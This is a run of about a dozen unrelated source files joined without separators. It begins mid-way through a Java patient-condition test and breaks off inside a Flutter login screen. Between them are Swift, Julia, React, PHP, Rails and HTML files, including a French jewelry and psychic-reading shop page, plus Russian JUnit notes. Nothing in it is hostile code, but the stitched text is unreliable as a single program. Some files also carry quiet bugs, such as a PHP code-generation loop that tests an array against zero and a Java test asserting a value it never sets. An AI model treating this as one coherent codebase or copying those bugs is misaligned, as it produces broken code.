PatientCondition.Builder() .patientIdentity(patient) .conditionIdentity(condition) .dateDiagnosed(today) .build(); value = new HashMap<Date, Date>(); value.put(patientCondition.getDateDiagnosed(),today); } @Test public void testCreate() throws Exception { PatientCondition patientCondition = PatientConditionFactory.getPatientCondition(value,condition,patient); service.create(patientCondition); assertEquals("ABLW9828",patientCondition.getPatientId().getPatientID()); } @Test(dependsOnMethods = "testCreate") public void testRead() throws Exception { PatientCondition readpatient = service.read(patientCondition.getPatientId().getPatientID()); assertEquals("ABLW9828",readpatient.getPatientId().getPatientID()); } @Test(dependsOnMethods = "testRead") public void testUpdate() throws Exception { PatientCondition patientCondition1 = service.read(patientCondition.getPatientId().getPatientID()); PatientCondition newPatientCondition = new PatientCondition.Builder() .patientIdentity(patient) .conditionIdentity(condition) .build(); service.update(newPatientCondition); PatientCondition UpdatePatientCondition =service.read(patientCondition.getPatientId().getPatientID()); assertEquals("BirdFlue",UpdatePatientCondition.getConditionId().getConditionName()); } @Test(dependsOnMethods = "testUpdate") public void testDelete() throws Exception { service.delete(patientCondition.getPatientId().getPatientID()); PatientCondition patientConditionObject = service.read(patientCondition.getPatientId().getPatientID()); assertNull(patientConditionObject); } }
// // BasicProtocol.swift // FrameworkStruct // // Created by  jggg on 2021/11/5. // /** * 程序中的基础定义,定义全局通用的接口方法和各种基础数据 * 一般和具体的业务逻辑无关,而是关于程序和组件本身的定义 * 此处定义的内容可以包含一些具体的功能逻辑,比较面对实际功能 */ import Foundation import UIKit //MARK: 协议定义 /** * 基础协议 */ protocol BasicProtocol { } /** 可归档解档协议 */ protocol Archivable: NSCoding { associatedtype AnyType = Self //归档 func archive() -> Data? func archive(completion: @escaping OpDataClo) //解档 static func unarchive(_ data: Data) -> AnyType? static func unarchive(_ data: Data, completion: @escaping OpGnClo<AnyType>) } //协议基础实现 extension Archivable { func archive() -> Data? { ArchiverAdapter.shared.archive(self) } func archive(completion: @escaping OpDataClo) { ArchiverAdapter.shared.archive(self) { (data) in completion(data) } } static func unarchive(_ data: Data) -> AnyType? { ArchiverAdapter.shared.unarchive(data) as? AnyType } static func unarchive(_ data: Data, completion: @escaping OpGnClo<AnyType>) { ArchiverAdapter.shared.unarchive(data) { (obj) in completion(obj as? AnyType) } } } //MARK: 基础类型定义 ///正则表达式 typealias RegExp = String ///谓词表达式 typealias PredExp = String ///Javascript片段 typealias JsExp = String //MARK: 基础常量定义 ///控制器的状态管理器最大步数,可在程序运行过程中改变,那么会影响改变之后创建的控制器的状态管理器步数 let vcStatusStep: Int = 5 //状态栏内容颜色定义 enum VCStatusBarStyle { case dark //深色 case light //浅色 } //VC返回按钮样式,具体枚举项根据实际项目需求设计 enum VCBackStyle { case none //不显示返回按钮 case dark //深色返回按钮,暗黑模式下白色 case darkAlways //深色返回按钮,暗黑模式下也是深色 case darkThin //深色细的返回按钮,暗黑模式下也是深色 case lightAlways //浅色返回按钮,暗黑模式下也是白色 case darkClose //深色关闭按钮,暗黑模式下白色 ///获得图片,如果是none则返回nil func getImage() -> UIImage? { switch self { case .none: return nil case .dark: return UIImage.iBackDark case .darkAlways: return UIImage.iBackDarkAlways case .darkThin: return UIImage.iBackThinDarkAlways case .lightAlways: return UIImage.iBackLightAlways case .darkClose: return UIImage.iBackClose } } } //VC背景色样式,定义成枚举而非颜色常量的原因是,有可能背景是渐变色或者图像,可以在枚举中进行扩展 //这里的例子仅作参考,实际根据需求设计,如果有主题系统,背景设置为`none`跟随主题变化 enum VCBackgroundStyle { case none //什么都不做 case black //0x000000 case white //0xffffff case lightGray //0xf4f4f4 case pink //0xff709b case clear //透明背景 case gradientDark //一种深色的渐变色,创建一个渐变图层 case bgImage(img: UIImage?, alpha: Float) //背景是图片,绑定一个图片文件名参数,和透明度参数 //返回颜色或者渐变图层或者图像图层 //UIColor/CALayer //UIColor支持暗黑模式,如果是浅色的背景色,那么设置为一种黑色,深色的则返回深色 func getBg() -> Any { switch self { case .none: return ThemeManager.shared.getCurrentOrDark().backgroundColor //返回主题背景色 case .black: return UIColor.black case .white: return UIColor.white case .lightGray: return UIColor.cGray_f4 case .pink: return UIColor.cPink_ff709b case .clear: return UIColor.clear case .gradientDark: let la = CAGradientLayer() la.frame = g_window().bounds la.zPosition = -1 la.colors = [UIColor.cGray_5B5B7E.cgColor, UIColor.cBlack_2C2C3D.cgColor] return la case .bgImage(let img, let alpha): let la = CALayer() let cgImg = img?.cgImage la.frame = g_window().bounds la.zPosition = -1 la.contents = cgImg la.opacity = alpha return la } } }
""" nattrs, attrlist = jMtkFieldAttrList_tst_1100() # Purpose: Generate the output of `jMtkFieldAttrList` for testing purposes. Test 1100: For a MISR `GRP_ELLIPSOID_GM` file. # Licensing: * Mtk C Library: Copyright © 2005 California Institute of Technology, [Caltech license](https://github.com/nasa/MISR-Toolkit/blob/master/LICENSE). * Julia wrapper: Copyright © 2023 Michel M. Verstraete, [MIT license](https://opensource.org/licenses/MIT). # Versioning: * Mtk C Library: Version 1.5. * Julia wrapper: Version 0.1.0 (2023-02-15). # Verification: ```idl IDL> filename = root + 'MISR_AM1_GRP_ELLIPSOID_GM_P168_O068050_DA_F03_0024.hdf' IDL> fieldname = 'Green Radiance/RDQI' IDL> status = MTK_FIELDATTR_LIST(filename, fieldname, attrcnt, attrlist) IDL> attrcnt 1 IDL> attrlist _FillValue ``` # Example: ```julia julia> using JMtk15 julia> using Test julia> include(JMtk15_test * "src/jMtkFieldAttrList_tst_1100.jl") jMtkFieldAttrList_tst_1100 julia> nattrs, attrlist = jMtkFieldAttrList_tst_1100(); julia> @test nattrs == 1 Test Passed julia> @test attrlist == ["_FillValue"] Test Passed ``` """ function jMtkFieldAttrList_tst_1100() filename = JMtk15_data * "MISR/MISR_AM1_GRP_ELLIPSOID_GM_P168_O068050_DA_F03_0024.hdf" fieldname = "Green Radiance/RDQI" nattrs, attrlist = jMtkFieldAttrList(filename, fieldname); return nattrs, attrlist end
import React from "react"; import data from "../Content/Homepage/ButStill.json"; import { useInView } from "react-intersection-observer"; import { Fade } from "react-reveal"; function ButStill() { const [visible, setVisible] = React.useState(false); const { ref, inView } = useInView({ threshold: 0.5, }); React.useEffect(() => { if (inView) { setVisible(true); } }, [inView]); return ( <div ref={ref} className=" bg-[#FAFAFA] py-5 px-6 "> <h2 className="text-center text-4xl font-semibold mb-20"> {data.Heading} </h2> <div className="grid xl:grid-cols-4 md:grid-cols-3 sm:grid-cols-2 grid-cols-1 justify-center items-center gap-5"> {data?.list.map((d, i) => ( <Fade bottom when={visible}> <div key={i} className="grid place-items-center group border-2 border-[#FAFAFA] hover:shadow-black/15 bg-white hover:bg-white rounded-lg hover:shadow-md gap-5 py-8 duration-300"> <Fade bottom delay={d.time} when={visible}> <img src={d.BannerImg} alt="" className="h-24 w-24 " /> <h2 className="group-hover:text-orange-400 text-center duration-300"> {d.title} </h2> </Fade> </div> </Fade> ))} </div> <div className="self-end mt-10"> <p className="text-center font-semibold"> {data.heading} <span className="text-red-500">{data.strong}</span> </p> </div> </div> ); } export default ButStill;
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="assets/img/logo_trans.png" type="image/x-icon"> <link href="https://cdn.jsdelivr.net/npm/remixicon@2.5.0/fonts/remixicon.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper/swiper-bundle.min.css"/> <link rel="stylesheet" href="assets/css/styles.css"> <title>La pierre de lune</title> </head> <body> <header role="banner" class="header" id="header"> <div class="top__bar"> <div class="search__container"> <i class="bi bi-cart3 fa-2x"></i> <i class="bi bi-suit-heart fa-2x"></i> <i class="bi bi-search fa-2x"></i> </div> <a href="index.html" class="logo__prin"> <img id="logo" src="assets/img/logo.png"> </a> <div class="shop__container"> <a href="signin.html"><button class="log__button">S'inscrire</button></a> <a href="login.html"><button class="log__button">Se connecter</button></a> </div> </div> <div style="display: flex; justify-content: space-around; align-items: center;"> <img src="assets/img/Vector.png" alt="separation" style="width: auto; padding: 2rem;"> </div> <nav class="nav container"> <div class="nav__menu" id="nav-menu"> <ul class="nav__list grid"> <li class="nav__item"> <a href="#home" class="nav__link active-link"> Accueil </a> </li> <li class="nav__item"> <a href="#collection" class="nav__link"> Collection </a> </li> <li class="nav__item"> <a href="#artist" class="nav__link"> Artiste </a> </li> <li class="nav__item"> <a href="articles.html" class="nav__link"> Articles </a> </li> <li class="nav__item"> <a href="pierres.html" class="nav__link"> Pierres </a> </li> <li class="nav__item"> <a href="#voyance" class="nav__link"> Voyance </a> </li> </ul> <!--Close button--> <div class="nav__close" id="nav-close"> <i class="ri-close-line"></i> </div> </div> <div class="nav__buttons"> <!-- Theme change button --> <!-- <i class="ri-moon-clear-line change-theme" id="theme-button"></i> --> <!-- Toggle button --> <div class="nav__toggle" id="nav-toggle"> <i class="ri-menu-4-line"></i> </div> </div> </nav> </header> <main class="main"> <section class="accueil__container"> <h1 class="accueil__title">LA Pierre De<br>Lune</h1> <div class="accueil__line"></div> <div class="accueil__data"> <p class="accueil__description"> DES BIJOUX ARTISANAUX RIEN<br>QUE POUR VOUS ! </p> <button class="accueil__button"> Commencer </button> </div> </section> <!-- swiper test --> <section class="swiper mySwiper"> <h1 class="collection__title">DÉCOUVREZ NOS COLLECTIONS</h1> <div class="swiper-wrapper"> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/bracelets.png" alt="card image"> </div> <div class="card__content"> <span class="card__title">BRACELETS</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/boucle.png" alt="card image"> </div> <div class="card__content"> <span class="card__title">BOUCLES D'OREILLES</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/orgonites.jpg" alt="card image"> </div> <div class="card__content"> <span class="card__title">ORGONITES</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/bouddhas.jpg" alt="card image"> </div> <div class="card__content"> <span class="card__title">BOUDDHA</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/malas.png" alt="card image"> </div> <div class="card__content"> <span class="card__title">MALAS</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/bolas.png" alt="card image"> </div> <div class="card__content"> <span class="card__title">BOLAS POUR GROSSESSE</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/plaques.jpg" alt="card image"> </div> <div class="card__content"> <span class="card__title">PLAQUES DE RECHARGEMENT </span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> <div class="card swiper-slide"> <div class="card__image"> <img src="assets/img/produits/deco.jpg" alt="card image"> </div> <div class="card__content"> <span class="card__title">DÉCORATION</span> <!--<button class="card__btn">Voir plus</button>--> </div> </div> </div> <div class="swiper-button-next"> <i class="fa-regular fa-chevrons-right"></i> </div> <div class="swiper-button-prev"> <i class="fa-regular fa-chevrons-left"></i> </div> </section> <section class="artiste__section" id="artist"> <h1 class="artiste__title">Sandra DELAVACHERIE</h1> <div class="artiste__container"> <div class="artiste__image"> <div class="artiste__frame"></div> <img src="assets/img/artiste.PNG" alt="artiste image"> </div> <div class="artiste__content"> <p class="artiste-text"> Créer des bijoux, mélanger des couleurs, des accessoires est une passion... y associer mon magnétisme.... une évidence !<br><br> Je suis convaincue qu'assembler des pierres et leurs propriétés en les combinant avec mon magnétisme apporte un bien-être inégalé à mes clientes.<br><br> C'est cette recherche de confort, de soin, d'amélioration constante et d'exigence pour mes clients qui me ravie chaque jour.<br><br> Ces bijoux prennent vie dans mon atelier. Mon atelier qui est aussi mon magasin, dans lequel je vous reçois sous le nom de La Pierre de Lune.<br><br> C'est trois ans de bonheur, de rires, de joie, de partage et d'amour que je souhaite perpétuer un long moment... </p> </div> </div> </section> <section class="service__section"> <h1 class="service__title">COMMANDEZ SEREINEMENT</h1> <div class="service__container"> <ul class="service-list"> <li class="service-item"> <div class="service-item-icon"> <img src="assets/img/Money Yours.svg" alt="service icon"> </div> <div class="service-content"> <center> <p class="service-item-title">Paiement sécurisé</p> <p class="service-item-text">Vos données sont parfaitement protégées au moment de passer votre commande.</p></center> </div> </li> <li class="service-item"> <div class="service-item-icon"> <img src="assets/img/Shipped.svg" alt="service icon"> </div> <div class="service-content"> <center> <p class="service-item-title">Livraison gratuite</p> <p class="service-item-text">La livraison vous est offerte pour tout achat à partir de <b>65 euros</b>.</p></center> </div> </li> </ul> </div> </section> <section class="voyance__section" id="voyance"> <h1 class="voyance__title">DEMANDE DE VOYANCE</h1> <div class="voyance__content"> <p class="voyance-text"> Vous vous posez des questions, je peux vous répondre par mail très rapide et m'expliquer un peu le contenu, car très souvent les questions ne sont pas claires.<br><br> Il me faut impérativement une photo de vous de la tête au pied. <br><br>Après paiement, envoyez votre demande à cette adresse à sandramedium@hotmail.com <br><br>N'appelez pas à mon numéro, je ne fais aucune voyance par téléphone. </p> <button class="voyance__button"> Envoyez une demande </button> </div> </section> <section class="maps__section"> <div class="floating-label">VISITEZ-NOUS !</div> <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2894.533093464446!2d2.372805111524024!3d43.49121346277241!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x12ae1933a0a3a0d3%3A0x634215eade142367!2sLa%20pierre%20de%20lune!5e0!3m2!1sfr!2sdz!4v1686522074819!5m2!1sfr!2sdz" height="400" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe> </section> </main> <footer class="footer" style="background-color:#414141;"> <div class="row"> <div class="column" style="background-color:#414141;"> <h2 style="color: white;">Menu Principal</h2> <ul class="footer__menu__principal"> <li class="footer__link"><a href="index.html" >ACCUEIL</a></li> <li class="footer__link"><a href="" >COLLECTION</a></li> <li class="footer__link"><a href="index.html#artist" >ARTISTE</a></li> <li class="footer__link"><a href="articles.html" >ARTICLES</a></li> <li class="footer__link"><a href="index.html#voyance" >VOYANCE</a></li> </ul> </div> <div class="column" style="background-color:#414141;"> <h2 style="color: white;">Aide</h2> <ul class="footer__aide"> <li class="footer__link"><a href="conditions.html" >CONDITIONS GÉNÉRALES</a></li> <li class="footer__link"><a href="mentions.html" >MENTIONS LÉGALES</a></li> </ul> </div> <div class="column" style="background-color:#414141;"> <h2 style="color: white;">La Pierre De Lune</h2> <ul class="footer__contact"> <li class="footer__link"> <img src="assets/img/attherate-icon.svg" alt="email icon"> <a href="mailto:sandramedium@hotmail.com">sandramedium@hotmail.com</a></li> <li class="footer__link"> <img src="assets/img/phone-outline-icon.svg" alt="phone icon"> <a href="" >05 63 59 61 68</a></li> </ul> <ul class="footer__social"> <a href="https://www.facebook.com/sandramedium1" target="_blank"> <i class="fa-brands fa-facebook-f"></i></a> <a href="https://www.instagram.com/la_pierre_de_.lune/" target="_blank"> <i class="fa-brands fa-instagram"></i></a> <a href="https://www.tiktok.com/@lapierredelune" target="_blank"> <i class="fa-brands fa-tiktok"></i></a> </ul> </div> <div class="column" style="background-color:#414141;"> <section class="newsletter"> <h2 class="heading"> Abonnez-vous à ma newsletter </h2> <p> Découvrez mes dernières créations et plein d'autres infos intéressantes! </p> <form> <input id="newsletter_input" type='text' placeholder=" Entrez votre email"><br/> <button class="btn" role="button"> Soumettre </button> </form> </section> </div> </div> <span class="footer__copy"> &#169; Créé par Batel Tech 2023 | Copyright La Pierre De Lune. Tous droits réservés </span> </footer> <script src="assets/js/main.js"></script> <!-- Swiper JS --> <script src="https://cdn.jsdelivr.net/npm/swiper/swiper-bundle.min.js"></script> <!-- Initialize Swiper --> <script> var swiper = new Swiper(".mySwiper", { effect: "coverflow", initialSlide:2, grabCursor: true, centeredSlides: true, slidesPerView: "auto", coverflowEffect: { rotate: 0, stretch: 0, depth: 300, modifier: 1, slideShadows: false, }, navigation: { nextEl: '.swiper-button-next', prevEl: '.swiper-button-prev', }, pagination: { el: ".swiper-pagination", }, }); </script> </body> </html>
<?php require_once '/var/www/html/core/model.php'; require_once '/var/www/html/core/response.php'; /* Modelo para los grupos */ class GroupModel extends Model{ private $id; private $name; private $code; private $res; public function __construct() { parent::__construct(); $this->res = new Response(); } /* Se usa para determianr si ya existe un grupo con x nombre en un año */ public function getGroupInYear($name,$year){ $stm = "SELECT g.id,g.id_orientation,g.`name`,g.`code` ,g.state FROM `group` g , orientation o WHERE g.id_orientation = o.id AND g.`name` = ? AND o.`year` = ?"; $grupo = parent::query($stm , [$name, $year]); return !empty($grupo) ? $grupo[0] : $grupo; } /* Crea un grupo */ public function postGroup($name,$orientation){ //genero el codigo del grupo $code = $this->generateCode(); $stm = 'INSERT INTO `group`(id_orientation,`name`,code) VALUES(?,?,?)'; parent::nonQuery($stm,[$orientation,$name,$code]); return $this->lastInsertId(); } /* Cambia el estado de un grupo a activos */ public function setGroupActive($id){ $stm = 'UPDATE `group` SET `state` = 1 WHERE id = ?'; return parent::nonQuery($stm,[$id]); } /* Devuelve todos los grupos */ public function getGroups(){ $stm = 'SELECT g.id ,g.id_orientation, o.name AS orientation_name , o.year, g.`name`,g.`code`,g.`state` FROM `group` g,orientation o WHERE g.`state` = 1 AND g.id_orientation = o.id'; $data = parent::query($stm); return $data; } /* Devuelve un grupo por id */ public function getGroupById($id){ $stm = 'SELECT g.id ,g.id_orientation, o.name AS orientation_name , o.year, g.`name`,g.`code`,g.`state` FROM `group` g,orientation o WHERE g.`state` = 1 AND g.id_orientation = o.id AND g.id = ?'; $group_data = parent::query($stm,[$id]); $grupo = !empty($group_data) ? $group_data[0] : $group_data; return $grupo; } /* Devuelve un grupo por nombre */ public function getGroupByName($name){ $stm = 'SELECT * FROM `group` WHERE `name` LIKE ? AND `state` = 1 '; $data = parent::query($stm,['%'.$name.'%']); return $data; } /* Modifica un grupo */ public function putGroup($id,$name){ $stm = 'UPDATE `group` SET `name` = ? WHERE id = ?'; $rows = parent::nonQuery($stm,[$name,$id]); return $rows; } /* 'Borra' un grupo */ public function deleteGroup($id){ $stm = 'UPDATE `group` SET `state` = 0 WHERE id = ?'; $rows = parent::nonQuery($stm,[$id]); return $rows; } /* Saca a todos los docentes del grupo y los saca de las materias del grupo */ public function removeAllTeachersFromGroup($id){ $stm = 'UPDATE `teacher_group` SET `state` = 0 WHERE id_group = ?'; parent::nonQuery($stm , [$id]); $stm = 'UPDATE `teacher_group_subject` SET `state` = 0 WHERE id_group = ?'; parent::nonQuery($stm , [$id]); } /* Saco a todos los alumnos del grupo */ public function removeAllStudentsFromGroup($id){ $stm = 'UPDATE `student_group` SET `state` = 0 WHERE id_group = ?'; return parent::nonQuery($stm , [$id]); } /* Cierra todas las consultas y chats que pertenescan al grupo */ public function closeAllQuerysInGroup($id){ $stm = 'UPDATE `query` SET `state` = 0 WHERE id_group = ?'; return parent::nonQuery($stm , [$id]); } /* Devuelve un grupo en base a su codigo */ public function getGroupByCode($code){ $stm = 'SELECT * FROM `group` WHERE `code` = ? AND `state` = 1'; $group = parent::query($stm,[$code]); return !empty($group) ? $group[0] : $group; } /* Genera el codigo para un grupo */ private function generateCode(){ $used_code = true; do{ $code = $this->randomString(8); $stm = 'SELECT * FROM `group` WHERE `code` = ? '; $dataDB = parent::query($stm,[$code]); if($dataDB > 0){ $used_code = false; } }while($used_code == true); return $code; } /* Devuelve el id de la orientacion de un grupo */ public function getGroupOrientation($group){ $stm = 'SELECT * FROM `group` WHERE id = ?'; $data = parent::query($stm,[$group]); $orientation = !empty($data) ? $data[0]['id_orientation'] : $data; return $orientation; } /* Chequea si una materia esta en un grupo */ public function IsSubjectInGroup($group,$subject){ $orientation = $this->getGroupOrientation($group); $stm = 'SELECT * FROM subject_orientation WHERE id_orientation = ? AND id_subject =?'; $subject = parent::query($stm,[$orientation,$subject]); if($subject){ return true; }else{ return false; } } /* Genera un string aleatorio (es usado el generar un codigo) */ private function randomString($length){ $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } /* Devuelve los estudiantes en un grupo */ public function getStudentsInGroup($group){ $stm = 'SELECT u.id,u.ci,u.`name`,u.middle_name,u.surname,u.second_surname,u.email,u.avatar,u.nickname,u.state_account,u.connection_time FROM `user` u,student_group sg WHERE u.id = sg.id_student AND sg.id_group = ? AND sg.`state` = 1'; $users = parent::query($stm , [$group]); return $users; } /* Devuelve los docentes en un grupo */ public function getTeachersInGroup($group){ $stm = 'SELECT u.id,u.ci,u.`name`,u.middle_name,u.surname,u.second_surname,u.email,u.avatar,u.nickname,u.state_account,u.connection_time FROM `user` u,teacher_group tg WHERE u.id = tg.id_teacher AND tg.id_group = ? AND tg.`state` = 1'; $teachers = parent::query($stm , [$group]); return $teachers; } }
@Test каждый тест метода помечается аннотацией тест. Для работы каждого теста создается отдельный объект класса test (обеспечение не вмешательства тестов друг для друга). Доказательство в проекте my_junit NewInstanceForEachTest. В первом тесте поле изменяется с помощью сеттера во втором тесте поле принимает исходное состояние. Переменная статик не сбрасывается т.к. принадлежит классу ----------------------------------------------------------------------------------------------------------------------- @Test(timeout = 100) для проверки скорости работы метода в параметры аннотации можно задать величину в миллисекундах. При привышении времени работы тест завалится пример применения в проекте my_junit - public class ToFastLinkVSArrlistTest ----------------------------------------------------------------------------------------------------------------------- @Before Метод помеченный аннотацией @Before называется setUp() выполняется каждый раз перед выполнением каждого метода помеченного аннотацией тест ----------------------------------------------------------------------------------------------------------------------- @After Метод помеченный аннотацией @After называется tearDown() выполняется каждый раз после выполнения каждого метода помеченного аннотацией тест. Аннотация @After была создана для возврата ресурсов в систему. Если вдруг понадобится открыть соединение и т.п. ----------------------------------------------------------------------------------------------------------------------- @BeforeClass Метод помеченный аннотацией @BeforeClass вызывается один раз при инициализации класса. Метод должен быть статическим ----------------------------------------------------------------------------------------------------------------------- @AfterClass Метод помеченный аннотацией @AfterClass вызывается один раз при выгрузке класса. Метод должен быть статическим ----------------------------------------------------------------------------------------------------------------------
"use client"; import { useState } from "react"; import { NavLink } from "_components"; import { useUserService } from "_services"; export { Nav }; function Nav() { const [loggingOut, setLoggingOut] = useState<boolean>(false); const userService = useUserService(); const user = userService.currentUser; async function logout() { setLoggingOut(true); await userService.logout(); } return ( <nav className="navbar navbar-expand navbar-dark bg-dark px-3"> <div className="navbar-nav"> <NavLink href="/" exact className="nav-item nav-link"> Home </NavLink> {user?.role === "ADMIN" && ( <> <NavLink href="/users" className="nav-item nav-link"> Usuários </NavLink> <NavLink href="/suppliers" className="nav-item nav-link"> Fornecedores </NavLink> </> )} <button onClick={logout} className="btn btn-link nav-item nav-link" style={{ width: "67px" }} disabled={loggingOut} > {loggingOut ? ( <span className="spinner-border spinner-border-sm"></span> ) : ( <span>Sair</span> )} </button> </div> </nav> ); }
require "rails/generators/erb/scaffold/scaffold_generator" module Liquid module Generators class ScaffoldGenerator < Erb::Generators::ScaffoldGenerator # :nodoc: if ::Rails::VERSION::MAJOR >= 7 source_root File.expand_path(File.join("..", "templates"), __FILE__) else source_root File.expand_path(File.join("..", "legacy_templates"), __FILE__) end def copy_view_files available_views.each do |view| filename = filename_with_extensions view template "#{view}.html.liquid", File.join("app", "views", controller_file_path, filename) end if ::Rails::VERSION::MAJOR >= 7 template "partial.html.liquid", File.join("app/views", controller_file_path, "_#{singular_name}.html.liquid") end end hook_for :form_builder, as: :scaffold protected def available_views %w[index edit show new _form] end def handler :liquid end end end end
import React from 'react'; import clsx from 'clsx'; import Link from '@docusaurus/Link'; import useDocusaurusContext from '@docusaurus/useDocusaurusContext'; import Layout from '@theme/Layout'; import HomepageFeatures from '@site/src/components/HomepageFeatures'; import styles from './index.module.css'; function HomepageHeader() { const { siteConfig } = useDocusaurusContext(); return ( <header className={clsx('hero hero--primary', styles.heroBanner)}> <div className="container"> <h1 className={clsx('hero__title', styles.heroTitle)}> <div className={clsx(styles.cube)}> <img src="/img/cube.gif" className={clsx(styles.cubeImg)} /> </div> <div className={clsx(styles.wordmark)}> <img src="/img/rbxwiki.png" className={clsx(styles.wordmarkImg)} /> </div> </h1> <p className={clsx('hero__subtitle', styles.heroSubtitle)}>{siteConfig.tagline}</p> <div className={styles.buttons}> <a className="button button-3d-white" href="/docs/introduction/what-is-rbx/"> Get Started </a> </div> </div> </header > ); } export default function Home(): JSX.Element { const { siteConfig } = useDocusaurusContext(); return ( <Layout title={`Home`} description="Democratizing Tokenization For Everyone"> <div className={clsx(styles.main)}> <HomepageHeader /> <main> <HomepageFeatures /> </main> </div> </Layout> ); }
import clsx from "clsx"; import { useEffect, useState } from "react"; import "./HouseInfo.scss"; import { AboutHouse } from "./components/AboutHouse/AboutHouse"; import { Amenities } from "./components/Amenities/Amenities"; import { Location } from "./components/Location/Location"; import { PersonalCard } from "./components/PersonalCard/PersonalCard"; type HouseInfoProp = { house: IHouse; }; export const HouseInfo: React.FC<HouseInfoProp> = ({ house }: HouseInfoProp) => { const [categoryActive, setCategoryActive] = useState(0); const [coordinates, setCoordinates] = useState<{ lat: string; lon: string } | null>(null); const nominatimUrl = "https://nominatim.openstreetmap.org/search.php?"; useEffect(() => { const fetchCoordinates = async () => { const response = await fetch( `${nominatimUrl}street=${house.address.addressLabel.split(" ")[1]}%2F${house.address.addressLabel.split(" ")[0]}&city=${house.address.city}&country=${house.address.country}&exclude_place_ids=203949819%2C202716725%2C203203140%2C202724434%2C203351883%2C203872543&format=jsonv2`, ); const data = await response.json(); if (data.length > 0) { const { lat, lon } = data[0]; setCoordinates({ lat, lon }); } else { setCoordinates(null); } }; fetchCoordinates(); }, []); useEffect(() => { const scrollContainerHouseInfo = document.getElementById( "scrollContainerHouseInfo", ) as HTMLDivElement; if (scrollContainerHouseInfo) { scrollContainerHouseInfo.addEventListener("wheel", e => { e.preventDefault(); scrollContainerHouseInfo.scrollLeft += e.deltaY; }); } }, []); return ( <div className="house-info"> <div className="house-info__list" id="scrollContainerHouseInfo"> <div onClick={() => setCategoryActive(0)} className={clsx("house-info__list-item", { ["active"]: categoryActive === 0, })} > About housing </div> <div onClick={() => setCategoryActive(1)} className={clsx("house-info__list-item", { ["active"]: categoryActive === 1, })} > Amenities </div> <div onClick={() => setCategoryActive(2)} className={clsx("house-info__list-item", { ["active"]: categoryActive === 2, })} > Host's profile </div> <div onClick={() => setCategoryActive(3)} className={clsx("house-info__list-item", { ["active"]: categoryActive === 3, })} > Location </div> </div> <div className="house-info__body"> {categoryActive === 0 ? ( <AboutHouse house={house} /> ) : categoryActive === 1 ? ( <Amenities house={house} /> ) : categoryActive === 2 ? ( <PersonalCard house={house} /> ) : ( <Location house={house} /> )} </div> </div> ); };
import 'package:flutter/material.dart'; import 'package:get/get.dart'; import 'package:google_fonts/google_fonts.dart'; import '../../../../constant.dart'; import '../../../routes/app_pages.dart'; import '../controllers/login_controller.dart'; class LoginView extends GetView<LoginController> { const LoginView({Key? key}) : super(key: key); @override Widget build(BuildContext context) { final size = MediaQuery.of(context).size; return Scaffold( body: SafeArea( child: Padding( padding: const EdgeInsets.symmetric(horizontal: 25), child: SingleChildScrollView( child: Column( children: [ Center( child: Container( width: size.width * 0.28, height: size.height * 0.14, decoration: BoxDecoration( borderRadius: BorderRadius.circular(20), color: Constant.boxForm, ), child: Image.asset("assets/images/MyLogo2.png"), ), ), const SizedBox( height: 20, ), Text( "Welcome", style: GoogleFonts.poppins( fontSize: 22, fontWeight: FontWeight.bold, color: Colors.white, ), ), const SizedBox( height: 5, ), Text( "Silahkan Login dengan akun anda", style: GoogleFonts.poppins( fontSize: 12, color: const Color(0xff7A7A7A), ), ), const SizedBox( height: 30, ), Row( crossAxisAlignment: CrossAxisAlignment.start, children: [ Text( "Email", style: GoogleFonts.poppins( fontSize: 14, fontWeight: FontWeight.w500, color: Colors.white, ), ), ], ), const SizedBox( height: 10, ), Container( width: size.width, height: size.height * 0.07, decoration: BoxDecoration( borderRadius: BorderRadius.circular(10), color: Constant.boxForm, ), child: Center( child: TextField( decoration: InputDecoration( border: InputBorder.none, prefixIcon: const Icon( Icons.email, size: 24, color: Colors.white, ), hintText: 'Email', hintStyle: GoogleFonts.poppins( fontSize: 12, color: Colors.white, ), ), keyboardType: TextInputType.emailAddress, cursorColor: Colors.white, style: GoogleFonts.poppins( fontSize: 12, color: Colors.white, ), ), ), ), const SizedBox( height: 20, ), Row( crossAxisAlignment: CrossAxisAlignment.start, children: [ Text( "Password", style: GoogleFonts.poppins( fontSize: 14, fontWeight: FontWeight.w500, color: Colors.white, ), ), ], ), const SizedBox( height: 10, ), Container( width: size.width, height: size.height * 0.07, decoration: BoxDecoration( borderRadius: BorderRadius.circular(10), color: Constant.boxForm, ), child: Center( child: Obx( () => TextField( decoration: InputDecoration( border: InputBorder.none, prefixIcon: const Icon( Icons.lock, size: 24, color: Colors.white, ), suffixIcon: IconButton( onPressed: () => controller.togglePasswordVisibility(), icon: Icon( controller.isPasswordVisible.value ? Icons.visibility : Icons.visibility_off, color: Colors.white, ), ), hintText: 'Password', hintStyle: GoogleFonts.poppins( fontSize: 12, color: Colors.white, ), ), obscureText: !controller.isPasswordVisible.value, cursorColor: 